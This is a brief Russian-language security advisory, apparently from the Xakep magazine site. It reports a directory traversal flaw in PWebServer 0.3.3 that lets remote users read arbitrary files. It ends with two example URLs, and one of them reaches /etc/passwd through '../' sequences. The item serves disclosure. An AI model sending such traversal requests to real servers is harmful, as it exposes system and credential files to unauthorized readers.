Просмотр произвольных файлов в PWebServer

Рекомендуем почитать:

Xakep #288. Неправильные эльфы

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PWebServer 0.3.3 

Уязвимость обнаружена в PWebServer. Удаленный пользователь может просматривать произвольные файлы на системе. 

Пример: 

http://[host]:6789/../someFile
http://[host]:6789/../../../../etc/passwd